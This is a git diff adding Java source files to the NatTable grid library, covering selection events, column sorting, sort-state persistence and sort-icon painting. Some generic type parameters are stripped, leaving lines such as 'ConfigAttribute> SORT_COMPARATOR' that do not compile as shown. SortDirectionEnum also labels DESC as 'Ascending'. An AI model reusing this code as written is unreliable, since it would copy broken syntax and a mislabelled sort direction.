a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/config/RowOnlySelectionConfiguration.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/config/RowOnlySelectionConfiguration.java new file mode 100644 index 0000000..c276446 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/config/RowOnlySelectionConfiguration.java @@ -0,0 +1,20 @@ +package net.sourceforge.nattable.selection.config; + +import net.sourceforge.nattable.config.AbstractLayerConfiguration; +import net.sourceforge.nattable.layer.event.ILayerEventHandler; +import net.sourceforge.nattable.selection.MoveRowSelectionCommandHandler; +import net.sourceforge.nattable.selection.SelectionLayer; + +/** + * Configure the move selection behavior so that we always move by a row.
    + * Add {@link ILayerEventHandler} to preserve row selection.
    + * + * @see DefaultMoveSelectionConfiguration + */ +public class RowOnlySelectionConfiguration extends AbstractLayerConfiguration { + + @Override + public void configureTypedLayer(SelectionLayer layer) { + layer.registerCommandHandler(new MoveRowSelectionCommandHandler(layer)); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/event/CellSelectionEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/event/CellSelectionEvent.java new file mode 100644 index 0000000..f4e523f --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/event/CellSelectionEvent.java @@ -0,0 +1,54 @@ +package net.sourceforge.nattable.selection.event; + +import net.sourceforge.nattable.layer.event.CellVisualChangeEvent; +import net.sourceforge.nattable.selection.SelectionLayer; + +public class CellSelectionEvent extends CellVisualChangeEvent implements ISelectionEvent { + + private final SelectionLayer selectionLayer; + private boolean forcingEntireCellIntoViewport = false; + + // The state of the keys when the event was raised + private boolean withShiftMask = false; + private boolean withControlMask = false; + + public CellSelectionEvent(SelectionLayer selectionLayer, int columnPosition, int rowPosition, + boolean forcingEntireCellIntoViewport, boolean withShiftMask, boolean withControlMask) { + super(selectionLayer, columnPosition, rowPosition); + this.selectionLayer = selectionLayer; + this.forcingEntireCellIntoViewport = forcingEntireCellIntoViewport; + this.withControlMask = withControlMask; + this.withShiftMask = withShiftMask; + } + + // Copy constructor + protected CellSelectionEvent(CellSelectionEvent event) { + super(event); + this.selectionLayer = event.selectionLayer; + this.forcingEntireCellIntoViewport = event.forcingEntireCellIntoViewport; + this.withControlMask = event.withControlMask; + this.withShiftMask = event.withShiftMask; + } + + public SelectionLayer getSelectionLayer() { + return selectionLayer; + } + + public boolean isForcingEntireCellIntoViewport() { + return forcingEntireCellIntoViewport; + } + + @Override + public CellSelectionEvent cloneEvent() { + return new CellSelectionEvent(this); + } + + public boolean isWithShiftMask() { + return withShiftMask; + } + + public boolean isWithControlMask() { + return withControlMask; + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/event/ColumnSelectionEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/event/ColumnSelectionEvent.java new file mode 100644 index 0000000..7dc3d85 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/event/ColumnSelectionEvent.java @@ -0,0 +1,29 @@ +package net.sourceforge.nattable.selection.event; + +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.layer.event.ColumnVisualChangeEvent; +import net.sourceforge.nattable.selection.SelectionLayer; + +public class ColumnSelectionEvent extends ColumnVisualChangeEvent implements ISelectionEvent { + + private final SelectionLayer selectionLayer; + + public ColumnSelectionEvent(SelectionLayer selectionLayer, int columnPosition) { + super(selectionLayer, new Range(columnPosition, columnPosition + 1)); + this.selectionLayer = selectionLayer; + } + + protected ColumnSelectionEvent(ColumnSelectionEvent event) { + super(event); + this.selectionLayer = event.selectionLayer; + } + + public SelectionLayer getSelectionLayer() { + return selectionLayer; + } + + public ColumnSelectionEvent cloneEvent() { + return new ColumnSelectionEvent(this); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/event/ISelectionEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/event/ISelectionEvent.java new file mode 100644 index 0000000..fa1bd85 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/event/ISelectionEvent.java @@ -0,0 +1,12 @@ +package net.sourceforge.nattable.selection.event; + +import net.sourceforge.nattable.selection.SelectionLayer; + +/** + * Marker interface for selection events. + */ +public interface ISelectionEvent { + + public SelectionLayer getSelectionLayer(); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/event/RowSelectionEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/event/RowSelectionEvent.java new file mode 100644 index 0000000..d1143c5 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/event/RowSelectionEvent.java @@ -0,0 +1,32 @@ +package net.sourceforge.nattable.selection.event; + +import java.util.Collection; + +import net.sourceforge.nattable.coordinate.PositionUtil; +import net.sourceforge.nattable.layer.event.RowVisualChangeEvent; +import net.sourceforge.nattable.selection.SelectionLayer; + +public class RowSelectionEvent extends RowVisualChangeEvent implements ISelectionEvent { + + private final SelectionLayer selectionLayer; + + public RowSelectionEvent(SelectionLayer selectionLayer, Collection rowPositions) { + super(selectionLayer, PositionUtil.getRanges(rowPositions)); + this.selectionLayer = selectionLayer; + } + + // Copy constructor + protected RowSelectionEvent(RowSelectionEvent event) { + super(event); + this.selectionLayer = event.selectionLayer; + } + + public SelectionLayer getSelectionLayer() { + return selectionLayer; + } + + public RowSelectionEvent cloneEvent() { + return new RowSelectionEvent(this); + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/event/SelectionLayerStructuralChangeEventHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/event/SelectionLayerStructuralChangeEventHandler.java new file mode 100644 index 0000000..30044ff --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/event/SelectionLayerStructuralChangeEventHandler.java @@ -0,0 +1,53 @@ +package net.sourceforge.nattable.selection.event; + +import java.util.Collection; +import java.util.Set; + +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.layer.event.ILayerEventHandler; +import net.sourceforge.nattable.layer.event.IStructuralChangeEvent; +import net.sourceforge.nattable.selection.ISelectionModel; +import net.sourceforge.nattable.selection.SelectionLayer; + +import org.eclipse.swt.graphics.Rectangle; + +public class SelectionLayerStructuralChangeEventHandler implements ILayerEventHandler { + + private ISelectionModel selectionModel; + private final SelectionLayer selectionLayer; + + public SelectionLayerStructuralChangeEventHandler(SelectionLayer selectionLayer, ISelectionModel selectionModel) { + this.selectionLayer = selectionLayer; + this.selectionModel = selectionModel; + } + + public Class getLayerEventClass() { + return IStructuralChangeEvent.class; + } + + public void handleLayerEvent(IStructuralChangeEvent event) { + if (event.isHorizontalStructureChanged()) { + // TODO handle column deletion + } + + if (event.isVerticalStructureChanged()) { + Collection rectangles = event.getChangedPositionRectangles(); + for (Rectangle rectangle : rectangles) { + if(selectedRowModified(rectangle.y)) { + selectionLayer.clear(); + } + } + } + } + + private boolean selectedRowModified(int rowPosition){ + Set selectedRows = selectionModel.getSelectedRows(); + for (Range rowRange : selectedRows) { + if (rowRange.contains(rowPosition)){ + return true; + } + } + return false; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/serializing/ISerializer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/serializing/ISerializer.java new file mode 100644 index 0000000..f3855c0 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/serializing/ISerializer.java @@ -0,0 +1,5 @@ +package net.sourceforge.nattable.serializing; + +public interface ISerializer { + public void serialize(); +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/ISortModel.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/ISortModel.java new file mode 100644 index 0000000..37a4a1b --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/ISortModel.java @@ -0,0 +1,43 @@ +package net.sourceforge.nattable.sort; + +import net.sourceforge.nattable.sort.command.SortCommandHandler; + +/** + * Interface providing sorting functionality. + */ +public interface ISortModel { + + /** + * @return TRUE if the column with the given index is sorted at the moment. + */ + public boolean isColumnIndexSorted(int columnIndex); + + /** + * @return the direction in which the column with the given index is
    + * currently sorted + */ + public SortDirectionEnum getSortDirection(int columnIndex); + + /** + * @return when multiple columns are sorted, this returns the order of the
    + * column index in the sort
    + * + * Example: If column indexes 3, 6, 9 are sorted (in that order) the sort order
    + * for index 6 is 1. + */ + public int getSortOrder(int columnIndex); + + /** + * This method is called by the {@link SortCommandHandler} in response to a sort command.
    + * It is responsible for sorting the requested column.
    + * + * @param accumulate flag indicating if the column should added to a previous sort. + */ + public void sort(int columnIndex, SortDirectionEnum sortDirection, boolean accumulate); + + /** + * Remove all sorting + */ + public void clear(); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/SortConfigAttributes.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/SortConfigAttributes.java new file mode 100644 index 0000000..2a2daf5 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/SortConfigAttributes.java @@ -0,0 +1,11 @@ +package net.sourceforge.nattable.sort; + +import java.util.Comparator; + +import net.sourceforge.nattable.style.ConfigAttribute; + +public interface SortConfigAttributes { + + public static final ConfigAttribute> SORT_COMPARATOR = new ConfigAttribute>(); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/SortDirectionEnum.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/SortDirectionEnum.java new file mode 100644 index 0000000..4e348cc --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/SortDirectionEnum.java @@ -0,0 +1,31 @@ +package net.sourceforge.nattable.sort; + +public enum SortDirectionEnum { + ASC("Ascending"), DESC("Ascending"), NONE("Unsorted"); + + private final String description; + + private SortDirectionEnum(String description) { + this.description = description; + } + + /** + * @return the sorting state to go to from the current one. + */ + public SortDirectionEnum getNextSortDirection() { + switch (this) { + case NONE: + return SortDirectionEnum.ASC; + case ASC: + return SortDirectionEnum.DESC; + case DESC: + return SortDirectionEnum.NONE; + default: + return SortDirectionEnum.NONE; + } + } + + public String getDescription() { + return description; + } +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/SortHeaderLayer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/SortHeaderLayer.java new file mode 100644 index 0000000..29796a4 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/SortHeaderLayer.java @@ -0,0 +1,73 @@ +package net.sourceforge.nattable.sort; + +import net.sourceforge.nattable.layer.AbstractLayerTransform; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.LabelStack; +import net.sourceforge.nattable.persistence.IPersistable; +import net.sourceforge.nattable.sort.command.SortCommandHandler; +import net.sourceforge.nattable.sort.config.DefaultSortConfiguration; + +/** + * Enables sorting of the data. Uses an {@link ISortModel} to do/track the sorting. + * @param Type of the Beans in the backing data source. + * + * @see DefaultSortConfiguration + * @see SortStatePersistor + */ +public class SortHeaderLayer extends AbstractLayerTransform implements IPersistable { + + /** Handles the actual sorting of underlying data */ + private final ISortModel sortModel; + + public SortHeaderLayer(ILayer underlyingLayer, ISortModel sortModel) { + this(underlyingLayer, sortModel, true); + } + + public SortHeaderLayer(ILayer underlyingLayer, ISortModel sortModel, boolean useDefaultConfiguration) { + super(underlyingLayer); + this.sortModel = sortModel; + + registerPersistable(new SortStatePersistor(this)); + registerCommandHandler(new SortCommandHandler(sortModel, this)); + + if (useDefaultConfiguration) { + addConfiguration(new DefaultSortConfiguration()); + } + } + + /** + * @return adds a special configuration label to the stack taking into account the following:
    + *
      + *
    1. Is the column sorted ?
    2. + *
    3. What is the sort order of the column
    4. + *
    + * A special painter is registered against the above labels to render the sort arrows + */ + @Override + public LabelStack getConfigLabelsByPosition(int columnPosition, int rowPosition) { + LabelStack configLabels = super.getConfigLabelsByPosition(columnPosition, rowPosition); + + if (sortModel != null) { + int columnIndex = getColumnIndexByPosition(columnPosition); + if (sortModel.isColumnIndexSorted(columnIndex)) { + SortDirectionEnum sortDirection = sortModel.getSortDirection(columnIndex); + + switch (sortDirection) { + case ASC: + configLabels.addLabel(DefaultSortConfiguration.SORT_UP_CONFIG_TYPE); + break; + case DESC: + configLabels.addLabel(DefaultSortConfiguration.SORT_DOWN_CONFIG_TYPE); + break; + } + String sortConfig = DefaultSortConfiguration.SORT_SEQ_CONFIG_TYPE + sortModel.getSortOrder(columnIndex); + configLabels.addLabel(sortConfig); + } + } + return configLabels; + } + + protected ISortModel getSortModel() { + return sortModel; + } +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/SortStatePersistor.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/SortStatePersistor.java new file mode 100644 index 0000000..3404fd5 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/SortStatePersistor.java @@ -0,0 +1,134 @@ +package net.sourceforge.nattable.sort; + +import static org.apache.commons.lang.StringUtils.isNotEmpty; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.List; +import java.util.Properties; + +import net.sourceforge.nattable.persistence.IPersistable; + +/** + * Handles persisting of the sorting state.
    + * The sorting state is read from and restored to the {@link ISortModel}.
    + * + * @param Type of the Beans in the backing data source. + */ +public class SortStatePersistor implements IPersistable { + public static final String PERSISTENCE_KEY_SORTING_STATE = ".SortHeaderLayer.sortingState"; + private final SortHeaderLayer sortHeaderLayer; + private final ISortModel sortModel; + + public SortStatePersistor(SortHeaderLayer sortHeaderLayer) { + this.sortHeaderLayer = sortHeaderLayer; + this.sortModel = sortHeaderLayer.getSortModel(); + } + + /** + * Save the sorting state in the properties file.
    + * Key: + * {@link #PERSISTENCE_KEY_SORTING_STATE}
    + * + * Format:
    + * column index : sort direction : sort order | + */ + public void saveState(String prefix, Properties properties) { + int columnCount = sortHeaderLayer.getColumnCount(); + StringBuffer buffer = new StringBuffer(); + + for (int columnPosition = 0; columnPosition < columnCount; columnPosition++) { + int columnIndex = sortHeaderLayer.getColumnIndexByPosition(columnPosition); + boolean isColumnSorted = sortModel.isColumnIndexSorted(columnIndex); + + if (isColumnSorted) { + SortDirectionEnum sortDirection = sortModel.getSortDirection(columnIndex); + int sortOrder = sortModel.getSortOrder(columnIndex); + + buffer.append(columnIndex); + buffer.append(":"); + buffer.append(sortDirection.toString()); + buffer.append(":"); + buffer.append(sortOrder); + buffer.append("|"); + } + } + if (isNotEmpty(buffer.toString())) { + properties.put(prefix + PERSISTENCE_KEY_SORTING_STATE, buffer.toString()); + } + } + + /** + * Parses the saved string and restores the state to the {@link ISortModel}. + */ + public void loadState(String prefix, Properties properties) { + Object savedValue = properties.get(prefix + PERSISTENCE_KEY_SORTING_STATE); + if(savedValue == null){ + return; + } + try{ + String savedState = savedValue.toString(); + String[] sortedColumns = savedState.split("\\|"); + List stateInfo = new ArrayList(); + + // Parse string + for (String token : sortedColumns) { + stateInfo.add(getSortStateFromString(token)); + } + + // Order by the sort order + Collections.sort(stateInfo, new SortStateComparator()); + + // Restore to the model + for (SortState state : stateInfo) { + sortModel.sort(state.columnIndex, state.sortDirection, true); + } + }catch(Exception ex){ + sortModel.clear(); + System.err.println("Error while restoring sorting state. Skipping"); + ex.printStackTrace(System.err); + } + } + + /** + * Parse the string representation to extract the + * column index, sort direction and sort order + */ + protected SortState getSortStateFromString(String token) { + String[] split = token.split(":"); + int columnIndex = Integer.parseInt(split[0]); + SortDirectionEnum sortDirection = SortDirectionEnum.valueOf(split[1]); + int sortOrder = Integer.parseInt(split[2]); + + return new SortState(columnIndex, sortDirection, sortOrder); + } + + /** + * Encapsulation of the sort state of a column + */ + protected class SortState { + public int columnIndex; + public SortDirectionEnum sortDirection; + public int sortOrder; + + public SortState(int columnIndex, SortDirectionEnum sortDirection, int sortOrder) { + this.columnIndex = columnIndex; + this.sortDirection = sortDirection; + this.sortOrder = sortOrder; + } + } + + /** + * Helper class to order sorting state by the 'sort order'. + * The sorting state has be restored in the same sequence + * in which the original sort was applied. + */ + private class SortStateComparator implements Comparator { + + public int compare(SortState state1, SortState state2) { + return Integer.valueOf(state1.sortOrder).compareTo(Integer.valueOf(state2.sortOrder)); + } + + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/action/SortColumnAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/action/SortColumnAction.java new file mode 100644 index 0000000..b175557 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/action/SortColumnAction.java @@ -0,0 +1,22 @@ +package net.sourceforge.nattable.sort.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.sort.command.SortColumnCommand; +import net.sourceforge.nattable.ui.NatEventData; +import net.sourceforge.nattable.ui.action.IMouseAction; + +import org.eclipse.swt.events.MouseEvent; + +public class SortColumnAction implements IMouseAction { + + private final boolean accumulate; + + public SortColumnAction(boolean accumulate) { + this.accumulate = accumulate; + } + + public void run(NatTable natTable, MouseEvent event) { + int columnPosition = ((NatEventData)event.data).getColumnPosition(); + natTable.doCommand(new SortColumnCommand(natTable, columnPosition, accumulate)); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/command/SortColumnCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/command/SortColumnCommand.java new file mode 100644 index 0000000..bc256ef --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/command/SortColumnCommand.java @@ -0,0 +1,28 @@ +package net.sourceforge.nattable.sort.command; + +import net.sourceforge.nattable.command.AbstractColumnCommand; +import net.sourceforge.nattable.layer.ILayer; + +public class SortColumnCommand extends AbstractColumnCommand { + + private boolean accumulate; + + public SortColumnCommand(ILayer layer, int columnPosition, boolean accumulate) { + super(layer, columnPosition); + this.accumulate = accumulate; + } + + protected SortColumnCommand(SortColumnCommand command) { + super(command); + this.accumulate = command.accumulate; + } + + public boolean isAccumulate() { + return accumulate; + } + + public SortColumnCommand cloneCommand() { + return new SortColumnCommand(this); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/command/SortCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/command/SortCommandHandler.java new file mode 100644 index 0000000..92da623 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/command/SortCommandHandler.java @@ -0,0 +1,49 @@ +package net.sourceforge.nattable.sort.command; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.sort.ISortModel; +import net.sourceforge.nattable.sort.SortDirectionEnum; +import net.sourceforge.nattable.sort.SortHeaderLayer; +import net.sourceforge.nattable.sort.event.SortColumnEvent; + +import org.eclipse.swt.custom.BusyIndicator; + +/** + * Handle sort commands + */ +public class SortCommandHandler extends AbstractLayerCommandHandler { + + private final ISortModel sortModel; + private final SortHeaderLayer sortHeaderLayer; + + public SortCommandHandler(ISortModel sortModel, SortHeaderLayer sortHeaderLayer) { + this.sortModel = sortModel; + this.sortHeaderLayer = sortHeaderLayer; + } + + @Override + public boolean doCommand(final SortColumnCommand command) { + + final int columnIndex = command.getLayer().getColumnIndexByPosition(command.getColumnPosition()); + final SortDirectionEnum newSortDirection = sortModel.getSortDirection(columnIndex).getNextSortDirection(); + + // Fire command - with busy indicator + Runnable sortRunner = new Runnable() { + public void run() { + sortModel.sort(columnIndex, newSortDirection, command.isAccumulate()); + } + }; + BusyIndicator.showWhile(null, sortRunner); + + // Fire event + SortColumnEvent sortEvent = new SortColumnEvent(sortHeaderLayer, command.getColumnPosition()); + sortHeaderLayer.fireLayerEvent(sortEvent); + + return true; + } + + public Class getCommandClass() { + return SortColumnCommand.class; + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/config/DefaultSortConfiguration.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/config/DefaultSortConfiguration.java new file mode 100644 index 0000000..492b0cc --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/config/DefaultSortConfiguration.java @@ -0,0 +1,46 @@ +package net.sourceforge.nattable.sort.config; + +import net.sourceforge.nattable.config.CellConfigAttributes; +import net.sourceforge.nattable.config.DefaultComparator; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.config.IConfiguration; +import net.sourceforge.nattable.grid.GridRegion; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.painter.cell.ICellPainter; +import net.sourceforge.nattable.painter.cell.decorator.BeveledBorderDecorator; +import net.sourceforge.nattable.sort.SortConfigAttributes; +import net.sourceforge.nattable.sort.action.SortColumnAction; +import net.sourceforge.nattable.sort.painter.SortableHeaderTextPainter; +import net.sourceforge.nattable.style.DisplayMode; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; +import net.sourceforge.nattable.ui.matcher.MouseEventMatcher; + +import org.eclipse.swt.SWT; + +public class DefaultSortConfiguration implements IConfiguration { + + public static final String SORT_DOWN_CONFIG_TYPE = "SORT_DOWN"; + public static final String SORT_UP_CONFIG_TYPE = "SORT_UP"; + + /** The sort sequence can be appended to this base */ + public static final String SORT_SEQ_CONFIG_TYPE = "SORT_SEQ_"; + + public void configureLayer(ILayer layer) {} + + public void configureRegistry(IConfigRegistry configRegistry) { + configRegistry.registerConfigAttribute(SortConfigAttributes.SORT_COMPARATOR, new DefaultComparator()); + + ICellPainter sortableHeaderCellPainter = new BeveledBorderDecorator(new SortableHeaderTextPainter()); + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_PAINTER, sortableHeaderCellPainter, DisplayMode.NORMAL, SORT_DOWN_CONFIG_TYPE); + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_PAINTER, sortableHeaderCellPainter, DisplayMode.NORMAL, SORT_UP_CONFIG_TYPE); + } + + public void configureUiBindings(UiBindingRegistry uiBindingRegistry) { + uiBindingRegistry.registerSingleClickBinding( + new MouseEventMatcher(SWT.ALT, GridRegion.COLUMN_HEADER.toString(), 1), new SortColumnAction(false)); + + uiBindingRegistry.registerSingleClickBinding( + new MouseEventMatcher(SWT.ALT | SWT.SHIFT, GridRegion.COLUMN_HEADER.toString(), 1), new SortColumnAction(true)); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/config/SingleClickSortConfiguration.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/config/SingleClickSortConfiguration.java new file mode 100644 index 0000000..0fc5952 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/config/SingleClickSortConfiguration.java @@ -0,0 +1,29 @@ +package net.sourceforge.nattable.sort.config; + +import net.sourceforge.nattable.sort.action.SortColumnAction; +import net.sourceforge.nattable.sort.event.ColumnHeaderClickEventMatcher; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; +import net.sourceforge.nattable.ui.matcher.MouseEventMatcher; + +import org.eclipse.swt.SWT; + +/** + * Modifies the default sort configuration to sort on a single left
    + * click on the column header. + */ +public class SingleClickSortConfiguration extends DefaultSortConfiguration { + + /** + * Remove the original key bindings and implement new ones. + */ + @Override + public void configureUiBindings(UiBindingRegistry uiBindingRegistry) { + // Register new bindings + uiBindingRegistry.registerFirstSingleClickBinding( + new ColumnHeaderClickEventMatcher(SWT.NONE, 1), new SortColumnAction(false)); + + uiBindingRegistry.registerSingleClickBinding( + MouseEventMatcher.columnHeaderLeftClick(SWT.ALT), new SortColumnAction(true)); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/event/ColumnHeaderClickEventMatcher.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/event/ColumnHeaderClickEventMatcher.java new file mode 100644 index 0000000..c9410c8 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/event/ColumnHeaderClickEventMatcher.java @@ -0,0 +1,37 @@ +package net.sourceforge.nattable.sort.event; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.grid.GridRegion; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.LabelStack; +import net.sourceforge.nattable.ui.matcher.MouseEventMatcher; +import net.sourceforge.nattable.ui.util.CellEdgeDetectUtil; +import net.sourceforge.nattable.ui.util.CellEdgeEnum; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.graphics.Point; + +/** + * Matches a click on the column header, except if the click is on the column edge.
    + */ +public class ColumnHeaderClickEventMatcher extends MouseEventMatcher { + + public ColumnHeaderClickEventMatcher(int stateMask, int button) { + super(stateMask, GridRegion.COLUMN_HEADER, button); + } + + @Override + public boolean matches(NatTable natTable, MouseEvent event, LabelStack regionLabels) { + return super.matches(natTable, event, regionLabels) && isNearTheHeaderEdge(natTable, event); + } + + private boolean isNearTheHeaderEdge(ILayer natLayer, MouseEvent event) { + CellEdgeEnum cellEdge = CellEdgeDetectUtil.getHorizontalCellEdge( + natLayer, + new Point(event.x, event.y), + GUIHelper.DEFAULT_RESIZE_HANDLE_SIZE); + return cellEdge == CellEdgeEnum.NONE; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/event/SortColumnEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/event/SortColumnEvent.java new file mode 100644 index 0000000..6de3dfd --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/event/SortColumnEvent.java @@ -0,0 +1,21 @@ +package net.sourceforge.nattable.sort.event; + +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.event.ColumnVisualChangeEvent; + +public class SortColumnEvent extends ColumnVisualChangeEvent { + + public SortColumnEvent(ILayer layer, int columnPosition) { + super(layer, new Range(columnPosition, columnPosition + 1)); + } + + protected SortColumnEvent(SortColumnEvent event) { + super(event); + } + + public SortColumnEvent cloneEvent() { + return new SortColumnEvent(this); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/painter/SortableHeaderTextPainter.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/painter/SortableHeaderTextPainter.java new file mode 100644 index 0000000..58d5d54 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/sort/painter/SortableHeaderTextPainter.java @@ -0,0 +1,98 @@ +package net.sourceforge.nattable.sort.painter; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.painter.cell.CellPainterWrapper; +import net.sourceforge.nattable.painter.cell.ICellPainter; +import net.sourceforge.nattable.painter.cell.ImagePainter; +import net.sourceforge.nattable.painter.cell.TextPainter; +import net.sourceforge.nattable.painter.cell.decorator.CellPainterDecorator; +import net.sourceforge.nattable.sort.config.DefaultSortConfiguration; +import net.sourceforge.nattable.ui.util.CellEdgeEnum; +import net.sourceforge.nattable.util.GUIHelper; + +import org.apache.commons.lang.StringUtils; +import org.eclipse.swt.graphics.Image; + +public class SortableHeaderTextPainter extends CellPainterWrapper { + + /** + * Default setup, uses the {@link TextPainter} as its companion painter + */ + public SortableHeaderTextPainter() { + setWrappedPainter(new CellPainterDecorator(new TextPainter(), CellEdgeEnum.RIGHT, new SortIconPainter(true))); + } + + public SortableHeaderTextPainter(ICellPainter integriorPainter, boolean paintBg) { + setWrappedPainter(new CellPainterDecorator(integriorPainter, CellEdgeEnum.RIGHT, new SortIconPainter(paintBg))); + } + + /** + * Paints the triangular sort icon images. + */ + protected static class SortIconPainter extends ImagePainter { + + public SortIconPainter(boolean paintBg) { + super(null, paintBg); + } + + @Override + protected Image getImage(LayerCell cell, IConfigRegistry configRegistry) { + Image icon = null; + + if (isSortedAscending(cell)) { + icon = selectUpImage(getSortSequence(cell)); + } else if (isSortedDescending(cell)) { + icon = selectDownImage(getSortSequence(cell)); + } + + return icon; + } + + private boolean isSortedAscending(LayerCell cell) { + return cell.getConfigLabels().hasLabel(DefaultSortConfiguration.SORT_UP_CONFIG_TYPE); + } + + private boolean isSortedDescending(LayerCell cell) { + return cell.getConfigLabels().hasLabel(DefaultSortConfiguration.SORT_DOWN_CONFIG_TYPE); + } + + private int getSortSequence(LayerCell cell) { + int sortSeq = 0; + + for (String configLabel : cell.getConfigLabels().getLabels()) { + if (configLabel.startsWith(DefaultSortConfiguration.SORT_SEQ_CONFIG_TYPE)) { + String[] tokens = StringUtils.split(configLabel, "_"); + sortSeq = Integer.valueOf(tokens[tokens.length - 1]).intValue(); + } + } + return sortSeq; + } + + private Image selectUpImage(int sortSequence) { + switch (sortSequence) { + case 0: + return GUIHelper.getImage("up_0"); + case 1: + return GUIHelper.getImage("up_1"); + case 2: + return GUIHelper.getImage("up_2"); + default: + return GUIHelper.getImage("up_2"); + } + } + + private Image selectDownImage(int sortSequence) { + switch (sortSequence) { + case 0: + return GUIHelper.getImage("down_0"); + case 1: + return GUIHelper.getImage("down_1"); + case 2: + return GUIHelper.getImage("down_2"); + default: + return GUIHelper.getImage("down_2"); + } + } + } +} diff --git 